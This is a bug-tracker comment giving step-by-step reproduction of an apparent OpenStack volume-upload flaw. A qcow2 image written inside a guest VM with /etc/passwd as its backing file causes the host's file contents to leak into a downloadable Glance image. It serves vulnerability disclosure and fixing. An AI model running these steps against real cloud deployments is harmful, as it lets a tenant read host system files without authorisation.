Comment 7 for bug 1465333

Steps to reproduce:
1. Create volume
2. Create VM(recomennted to use ubuntu/centos images, because for reproduce need package: qemu-utils)
3. Attach volume to vm
4. ssh to vm and run command: qemu-img create -f qcow2 -b /etc/passwd /dev/vdb
5. Deattach volume
6. ssh to one of controllers and run command: cinder upload-to-image --disk-format qcow2 --container-format bare <vol-id> <name>
7. run command: glance image-download <image-id> > file
8. Open and look into the file.
If bug is reproduced, file should contain info form file /etc/passwd